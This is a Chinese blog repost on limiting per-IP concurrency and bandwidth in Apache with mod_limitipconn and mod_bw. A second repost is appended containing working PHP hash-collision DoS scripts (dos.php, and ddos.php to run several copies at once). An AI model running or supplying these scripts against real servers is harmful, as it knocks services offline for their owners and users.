1. 程式人生 > >Apache限制IP併發數和流量控制

Apache限制IP併發數和流量控制

轉自:http://www.cszhi.com/20120512/apache-mod_bandwidth-mod_limitipconn.html

使用mod_limitipconn模組限制IP併發連線數
安裝:

wget http://dominia.org/djao/limit/mod_limitipconn-0.24.tar.bz2
tar jxvf mod_limitipconn-0.24.tar.bz2
cd mod_limitipconn-0.24
/usr/local/apache2/bin/apxs -c -i mod_limitipconn.c

編輯httpd.conf

1
2
3
4
5
6
7
8
9
10
11
12
ExtendedStatus On
LoadModule limitipconn_module modules/mod_limitipconn.so  #將路徑修改為安裝後的路徑,儲存時去掉以下程式碼的註釋
 
<ifModule mod_limitipconn.c>
<location />                                              #對應根目錄
      MaxConnPerIP 5                                  #最大併發數為5
      NoIPLimit image/*                               #對圖片不做限制
</location>
<location /test>                                       #對根目錄下的test目錄做限制
     MaxConnPerIP 2                                   #最大併發數為2
</location>
</ifModule>

如果想限制虛擬主機的ip併發連線數,可以修改extra/httpd-vhost.conf把 IfModule mod_limitipconn.c 這一段複製到Virtualhost中就可以了。

測試:
測試很簡單,把最大連線數調小一點,隨便一個瀏覽器訪問頁面,然後按著F5,讓頁面不斷重新整理,一下就可以彈出503錯誤

使用mod_bandwidth模組限制頻寬
mod_bandwidth可以對IP的併發數進行控制,也可以對下載流量進行控制,也可以對某個目錄的流量進行控制。
安裝:

wget http://bwmod.sourceforge.net/files/mod_bw-0.7.tgz
tar zxvf mod_bw-0.7.tgz
cd mod_bw
/usr/local/apache2/bin/apxs -c -i mod_bw.c

編輯httpd.conf配置檔案:

1
2
3
4
5
6
7
8
9
10
11
12
LoadModule bw_module modules/mod_bw.so
 
<virtualHost *:80>
        ServerName vhost1.cszhi.com
        DocumentRoot    /var/www/vhost1
        BandwidthModule On
        ForceBandWidthModule On
        Bandwidth all 1024000
        MinBandwidth all 50000          #每個客戶端最高速度可達50KB
        LargeFileLimit * 500 50000
        MaxConnection all 6
</virtualHost>

其它引數事例說明,詳細的見原始碼包裡的mod_bw.txt:

1
2
3
4
5
6
7
8
9
10
11
BandWidth localhost 0                                      #對localhost不限速
BandWidth 192.168.1.5 102400                       #對192.168.1.5限速為100KB
BandWidth “u:^Mozilla(.*)” 10240              #用mozilla時限速10KB
BandWidth “u:wget” 102400                      #如果用wget下載時限速10KB
MinBandWidth all -1                                      #保證每個客戶端最高速度可達10KB
LargeFileLimit .jpg 100 10240                      #jpg檔案超過100KB,限速10KB
#下面的510挺好,如果不設定,apache自己會報錯,就根報404差不多,頁面非常的醜
ErrorDocument 510 /exceed_speed.html
BandWidthError 510
MaxConnection all 10                                       #所有ip最大連線數為10
MaxConnection 192.168.1.5 5                         #192.168.1.5最大連線數為5

測試:
使用mod_bw.so模組前:
bw_limit
使用mod_bw.so模組後:
bw_limit2

安裝過程中可能出現的問題:

1、新增完mod_bw.so模組,重啟apache時出現錯誤:

[[email protected] httpd]# /etc/init.d/httpd restart
Stopping httpd:                                            [FAILED]
Starting httpd: httpd: Syntax error on line 203 of /etc/httpd/conf/httpd.conf: Cannot load /etc/httpd/modules/mod_bw.so into server: /etc/httpd/modules/mod_bw.so: undefined symbol: apr_atomic_cas
                                                           [FAILED]

修改一下mod_bw.c 就可以:

1
2
3
4
5
6
7
8
9
#ifdef APR_MAJOR_VERSION   //新增這行
#if (APR_MAJOR_VERSION < 1)
    #define apr_atomic_inc32 apr_atomic_inc
    #define apr_atomic_dec32 apr_atomic_dec
    #define apr_atomic_add32 apr_atomic_add
    #define apr_atomic_cas32 apr_atomic_cas
    #define apr_atomic_set32 apr_atomic_set
#endif
#endif  //新增這行

重新編譯:

/usr/local/apache2/bin/apxs -c -i mod_bw.c

2、如果伺服器沒有安裝apxs,可以參照以下方法安裝:
apxs是一個為Apache HTTP伺服器編譯和安裝擴充套件模組的工具,用於編譯一個或多個源程式或目的碼檔案為動態共享物件,使之可以用由mod_so提供的LoadModule指令在執行時載入到Apache伺服器中。

輸入命令檢視是否有httpd-devel這個包,如果沒有需要安裝

rpm -qa|grep httpd
yum -y install httpd-devel

另轉一個DDOS程式碼:

PHP利用hash衝突漏洞進行DDoS攻擊的方法分析

轉自:http://www.jb51.net/article/62845.htm

本文例項分析了PHP利用hash衝突漏洞進行DDoS攻擊的方法。分享給大家供大家參考。具體分析如下:

首先宣告:本文內容只用於研究學習使用,請勿用於非法行為!

前面提到過最近爆出的hash表碰撞漏洞,包括java、python、php等在內的很多常用語言均未倖免,今晚咱就來實際看看它的威力。

攻擊原理:

通過向目標伺服器post一組精心拼湊的陣列引數,到達服務端後語言底層處理接收到的陣列引數時,由於該漏洞的存在造成CPU的大量消耗,最終導致伺服器資源耗盡。
不用什麼花哨的手法,就用PHP簡單實現下看下效果,點到即止。

檔案:dos.php

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 // 目標地址 // 只要目標地址存在,不用管它是幹嘛的 $data = ''; $size = pow(2, 15); for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size) { $data .= '&array[' . $key . ']=0'; } $ret = curl($host, ltrim($data,'&')); var_dump($ret); function curl($url, $post, $timeout = 30){ $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:')); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $output = curl_exec($ch); if ($output === false) return false; $info = curl_getinfo($ch); $http_code = $info['http_code']; if ($http_code == 404) return false; curl_close($ch); return $output; }

檔案:ddos.php

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>DDOS</title> </head> <body> <?php for($i=0; $i<5; $i++){//併發數 echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; } ?> </body> </html>

相關推薦

Apache限制IP併發流量控制

轉自:http://www.cszhi.com/20120512/apache-mod_bandwidth-mod_limitipconn.html 使用mod_limitipconn模組限制IP併發連線數 安裝: wget http://dominia.org/dja

利用apache限制IP併發下載流量控制

一,為什麼要對IP併發數,下載流量進行控制 說正題之前,先給大家講個故事,那是在2007年,我進了一家公司,當時我們正在給達芙妮做電子商務網,www.idaphne.com。從三月份開始做的吧,九月份正式上線,上線後沒多長時間,有一天伺服器老是死,後來查了一下,一個IP

nginx 限制ip併發限制速度

分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!http://blog.csdn.net/jiangjunshow 也歡迎大家轉載本篇文章。分享知識,造福人民,實現我們中華民族偉大復興!        

nginxapache限制IP地址訪問的設置方法

nginx和apache限制IP地址一、nginx禁止IP地址訪問1、在nginx配置文件中加入這個:2、重啟nginx服務二、apache禁止IP地址訪問1、更改vhosts.conf文件:NameVirtualHost 192.168.1.191 <VirtualHost 192.168.1.191

Nginx限制IP併發連線及每秒處理請求

為了防止伺服器被惡意採集或ddos攻擊給搞死, 所以給限個速。 這裡主要使用Nginx的ngx_http_limit_req_module和ngx_http_limit_conn_module來控制訪問量. 這兩個模組在Nginx中已內建, 在nginx.conf檔案

TCP/IP詳解--擁塞控制流量控制的區別

擁塞控制與流量控制的區別 擁塞控制的任務是確保子網能夠承載所到達的流量。這是一個全域性性問題,涉及到各方面的行為,包括所有的主機、所有的路由器、路由器內部的儲存轉發處理過程,以及所有可能會削弱子網承載容量的其它因素。 與此相反,流控制只與特定的傳送方和特定的接收方

對比擁塞控制流量控制

發送 避免 解決問題 ont 電腦 個人計算機 個人電腦 問題 一個 流量控制 設某個光纖網絡的鏈路傳輸率為1000Gbit/s,有一臺巨型計算機向一臺個人電腦以1Gbit/s的速率發送文件。顯然,網絡本身的帶寬是足夠的,因而沒有擁堵問題。但是流量控制確實必須的,因為巨型

mysql的學習(七)-自定義函流程控制

returns spa 會員 返回 類型 mysq -- create decimal DELIMITER // (設置結束符 其實我也不太明白為啥要這樣 記住就行把) CREATE FUNCTION ym_date(mydate DATE) (創建函數

C語言基礎之函流程控制

argv round ext 組成 htm pre 多個參數 nor ali 函數和流程控制也是每個編程語言的基本概念,函數是劃分模塊的最小單位,良好的函數規劃能直接提升軟件的質量,C語言的流程控制主要由以下幾個語句組成,條件分支語句、選擇語句、循環語句、goto語句、r

TCP/IP:擁塞演算法與流量控制演算法 學習小結

1.檢視支援的擁塞控制協議? cat /proc/sys/net/ipv4/tcp_allowed_congestion_control 2.修改阻塞演算法:  sysctl net.ipv4.tcp_congestion_control=???? 進行修改演算法 概

網站架設中的伺服器併發伺服器頻寬估計方法

       網站的負載能力主要還是依據每日PV的量。對於併發來講,每一個頁面請求可能有很多個HTTP請求,分別用來下載html,js,css和圖片等部分。同時,連線持續的時間也是一個重要的引數。一般來說,就這兩個引數,再加上PV的時間分佈,即一天的多少小時內產生這些PV,

伺服器併發訪問量計算與伺服器配置

併發訪問量是10分鐘100人線上?還是每秒100個併發請求?  如果是前者,以在10分鐘內,100人每人平均訪問10個pv,那麼每秒請求數就是100*10/10/60=1.66,對伺服器壓力幾乎就沒有啦,用個單路雙核的伺服器輕鬆搞定。  如果是後者,至少就得一個四核處理器,2G記憶體,10M獨享頻寬以上,才可

ORACLE如何限制ip段登入登入之後記錄資訊

CREATE USER DBCONFIG IDENTIFIED BY "DBCONFIG" GRANT UNLIMITED TABLESPACE TO DBCONFIG / ALTER USER DBCONFIG ACCOUNT LOCK / CREATE TABLE D

TCP擁塞控制流量控制

定義 TCP作為面向連線的提供全雙工可靠服務協議,具有差錯控制、擁塞控制和流量控制等功能。此處所謂的擁塞控制和流量控制,就是將傳送端傳送能力、接收端接收資訊的能力以及當前的網路環境參與考慮,在網路擁塞

apache 限制IP訪問

<Directory "/var/www"> Options All AllowOverride None Order Deny,Allow Deny From all Allow From 192.168.0.0/24 Allow From 127.0.0.

TCP的擁塞控制流量控制的比較

為避免發生網路中的全域性同步現象,在路由器採用隨機早期檢測(RED:randomearly detection)。基本思想:通過監控路由器輸出埠佇列的平均長度來探測擁塞,一旦發現擁塞逼近,就隨機地選擇連線來通知擁塞,使他們在佇列溢位導致丟包之前減小擁塞視窗,降低傳送資料速度,從而緩解網路擁塞。由於RED是

TCP/IP之TCP協議——流量控制(滑動視窗協議)

一、流量控制(滑動視窗協議)  1、流量控制是管理兩端的流量,以免會產生髮送過塊導致收端溢位,或者因收端處理太快而浪費時間的狀態。用的是:滑動視窗,以位元組為單位 2、視窗有3種動作:展開(右邊向右),合攏(左邊向右),收縮(右邊向左)這三種動作受接收端的控制。 合攏:表

apache限制併發,IP,頻寬設定

給大家推薦兩個Apache模組,一個是mod_vhost_limit,用來限制請求併發數,一個是mod_limitipconn,用來控制Apache的併發聯接數,通過該模組可以限制同一來源IP的併發聯接數。另一個模組是bw_mod,用於Apache網站頻寬控制,可以根據來源

網站流量與效能分析指標——PV、UV、PR、IP、QPS、併發、吞吐量、響應時間

QPS:每秒查詢率(Query Per Second) ,每秒的響應請求數,也即是最大吞吐能力。 QPS = req/sec = 請求數/秒 QPS統計方式 [一般使用 http_load 進行統計] QPS = 總請求數 / ( 程序總數 * 請求時間 ) QPS:單個程序每秒請求伺服器的成功次數

網站流量與效能分析指標:PV/UV/PR/IP/QPS/併發/吞吐量/響應時間

QPS: 每秒查詢率(Query Per Second) ,每秒的響應請求數,也即是最大吞吐能力。 QPS = req/sec = 請求數/秒 QPS統計方式 [一般使用 http_load 進行統計] QPS = 總請求數 / ( 程序總數 * 請求時間 ) QPS: